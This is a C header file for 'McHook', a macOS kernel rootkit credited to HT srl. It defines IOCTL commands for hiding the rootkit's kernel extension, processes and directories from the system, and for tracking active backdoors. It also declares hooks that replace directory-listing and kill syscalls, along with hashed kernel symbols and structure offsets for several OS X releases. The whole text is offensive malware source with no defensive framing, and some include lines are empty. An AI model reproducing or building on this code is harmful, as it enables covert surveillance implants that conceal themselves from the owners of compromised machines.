/* * McHook, mchook.h * OS X KSpace Rootkit * * Created by revenge on 20/03/2009 * Copyright (C) HT srl 2009. All rights reserved * */ #include #include #include #include #include "structures.h" #include "proc_internal.h" #include "task_internal.h" #pragma mark - #pragma mark Symbols Hash #pragma mark - #define KMOD_HASH 0xdd2c36d6 // _kmod #define NSYSENT_HASH 0xb366074d // _nsysent #define TASKS_HASH 0xdbb44cef // _tasks #define ALLPROC_HASH 0x3fd3c678 // _allproc #define TASKS_COUNT_HASH 0xa3f77e7f // _tasks_count #define NPROCS_HASH 0xa77ea22e // _nprocs #define TASKS_THREADS_LOCK_HASH 0xd94f2751 // _tasks_threads_locks #define PROC_LOCK_HASH 0x44c085d5 // _proc_lock #define PROC_UNLOCK_HASH 0xf46ca50e // _proc_unlock #define PROC_LIST_LOCK_HASH 0x9129f0e2 // _proc_list_lock #define PROC_LIST_UNLOCK_HASH 0x5337599b // _proc_list_unlock #define KEXT_LOOKUP_WITH_TAG 0xcf7000a8 // __ZN6OSKext21lookupKextWithLoadTagEj #define IO_RECURSIVE_LOCK 0x1f7127e3 // _IORecursiveLockLock #pragma mark - #pragma mark IOCTL Codes #pragma mark - #define MCHOOK_MAGIC 31338 // Used for the uspace<->kspace initialization #define MCHOOK_INIT _IOW(MCHOOK_MAGIC, 8978726, char [MAX_USER_SIZE]) // IN:username // Show kext from kextstat -- DEBUG #define MCHOOK_SHOWK _IO( MCHOOK_MAGIC, 8349871) // Hide kext from kextstat #define MCHOOK_HIDEK _IO( MCHOOK_MAGIC, 4975738) // Hide given pid #define MCHOOK_HIDEP _IOW(MCHOOK_MAGIC, 9400284, char [MAX_USER_SIZE]) // IN:username // Hide given dir/file name #define MCHOOK_HIDED _IOW(MCHOOK_MAGIC, 1998274, char [MAX_DIRNAME_SIZE]) // IN:dir // Show Process -- DEBUG #define MCHOOK_SHOWP _IO( MCHOOK_MAGIC, 6839840) // Unregister userspace component #define MCHOOK_UNREGISTER _IOW(MCHOOK_MAGIC, 5739299, char [MAX_USER_SIZE]) // IN:username // Returns the number of active backdoors #define MCHOOK_GET_ACTIVES _IOR(MCHOOK_MAGIC, 7489827, int) // OUT: num of bd // Pass symbols resolved from uspace to kspace (not exported symbol snow) //#define MCHOOK_SOLVE_SYM _IOW(MCHOOK_MAGIC, 6483647, struct symbol) // IN:symbol_32_t #define MCHOOK_SOLVE_SYM_32 _IOW(MCHOOK_MAGIC, 6483647, struct symbol_32) #define MCHOOK_SOLVE_SYM_64 _IOW(MCHOOK_MAGIC, 6483648, struct symbol_64) // Tell the kext to find sysent #define MCHOOK_FIND_SYS _IOW(MCHOOK_MAGIC, 4548874, struct os_version) // IN:os_version_t #pragma mark - #pragma mark Kernel symbols #pragma mark - #define P_WEXIT 0x00002000 #define MACRO_BEGIN do { #define MACRO_END } while (FALSE) #define queue_enter(head, elt, type, field) \ MACRO_BEGIN \ register queue_entry_t __prev; \ \ __prev = (head)->prev; \ if ((head) == __prev) { \ (head)->next = (queue_entry_t) (elt); \ } \ else { \ ((type)__prev)->field.next = (queue_entry_t)(elt);\ } \ (elt)->field.prev = __prev; \ (elt)->field.next = head; \ (head)->prev = (queue_entry_t) elt; \ MACRO_END #define queue_remove(head, elt, type, field) \ MACRO_BEGIN \ register queue_entry_t __next, __prev; \ \ __next = (elt)->field.next; \ __prev = (elt)->field.prev; \ \ if ((head) == __next) \ (head)->prev = __prev; \ else \ ((type)__next)->field.prev = __prev; \ \ if ((head) == __prev) \ (head)->next = __next; \ else \ ((type)__prev)->field.next = __next; \ \ (elt)->field.next = NULL; \ (elt)->field.prev = NULL; \ MACRO_END #ifdef __LP64__ #define OFFT_KEXT_KMOD 0x9 #define OFFT_KEXT_ARRAY 0x18 #define OFFT_KEXT_COUNT 0x20 #define OFFT_KMOD_NAME 0x10 #else #define OFFT_KEXT_KMOD 0xa #define OFFT_KEXT_ARRAY 0x10 #define OFFT_KEXT_COUNT 0x14 #define OFFT_KMOD_NAME 0xc #endif #pragma mark - #pragma mark Extern Symbols #pragma mark - static struct proclist *i_allproc = NULL; static queue_head_t *i_tasks = NULL; static int *i_nsysent = NULL; static kmod_info_t *i_kmod = NULL; static int *i_tasks_count = NULL; static int *i_nprocs = NULL; static lck_mtx_t *i_tasks_threads_lock = NULL; static int *kext_lookup_with_tag = NULL; static int *io_recursive_log = NULL; static char *_sLoadedKext = NULL; //decl_lck_mtx_data(static, *i_tasks_threads_lock); static struct sysent *_sysent; void (*i_proc_lock) (struct proc *) = NULL; void (*i_proc_unlock) (struct proc *) = NULL; void (*i_proc_list_lock) (void) = NULL; void (*i_proc_list_unlock)(void) = NULL; #pragma mark - #pragma mark Hooking Flags #pragma mark - // Flags used for determining if a syscall has been hooked static int fl_getdire = 0; static int fl_getdire64 = 0; static int fl_getdirentriesattr = 0; //static int fl_kill = 0; //static int fl_shutdown = 0; //static int fl_reboot = 0; #pragma mark - #pragma mark KEXT Prototypes #pragma mark - // IOCTL static int cdev_open (dev_t, int, int, struct proc *); static int cdev_close (dev_t, int, int, struct proc *); static int cdev_ioctl (dev_t, u_long, caddr_t, int, struct proc *); // RK #ifdef DEBUG void getAttributesForBitFields (attr_list_t al); #endif int check_for_process_exclusions (pid_t pid); void dealloc_meh (char *, pid_t); void place_hooks (); void remove_hooks (); void add_dir_to_hide (char *, pid_t); void hide_kext_leopard (); void hide_kext_osarray (); int hide_proc (proc_t, char *, int); int unhide_proc (proc_t, int); int unhide_all_procs (); int get_active_bd_index (char *, pid_t); int get_bd_index (char *, pid_t); int check_symbols_integrity (); Boolean backdoor_init (char *, proc_t); int remove_dev_entry (); static struct sysent *find_sysent (os_version_t *); #pragma mark - #pragma mark Hooked Syscall Prototypes #pragma mark - #if 0 int hook_read (struct proc *, struct mk_read_args *, int *); #endif int hook_kill (struct proc *, struct mk_kill_args *, int *); int hook_getdirentries (struct proc *, struct mk_getdirentries_args *, int *); int hook_getdirentries64 (struct proc *, struct mk_getdirentries64_args *, int *); int hook_getdirentriesattr (struct proc *, struct mk_getdirentriesattr_args *uap, int *retval); /* int hook_shutdown (struct proc *, struct mk_shutdown_args *, int *); int hook_reboot (struct proc *, struct mk_reboot_args *, int *); */ typedef int kill_func_t (struct proc *, struct mk_kill_args *, int *); typedef int read_func_t (struct proc *, struct mk_read_args *, int *); typedef int getdirentries_func_t (struct proc *, struct mk_getdirentries_args *, int *); typedef int getdirentries64_func_t (struct proc *, struct mk_getdirentries64_args *, int *); typedef int getattrlist_func_t (struct proc *, struct mk_getattrlist_args *, int *); typedef int getdirentriesattr_func_t(struct proc *, struct mk_getdirentriesattr_args *, int *); /* typedef int shutdown_func_t (struct proc *, struct mk_shutdown_args *, int *); typedef int reboot_func_t (struct proc *, struct mk_reboot_args *, int *); */ //static read_func_t *real_read; //static kill_func_t *real_kill; static getdirentries_func_t *real_getdirentries; static getdirentries64_func_t *real_getdirentries64; static getdirentriesattr_func_t *real_getdirentriesattr; //static shutdown_func_t *real_shutdown; //static reboot_func_t *real_reboot; int is_leopard(); int is_snow_leopard(); int is_lion(); .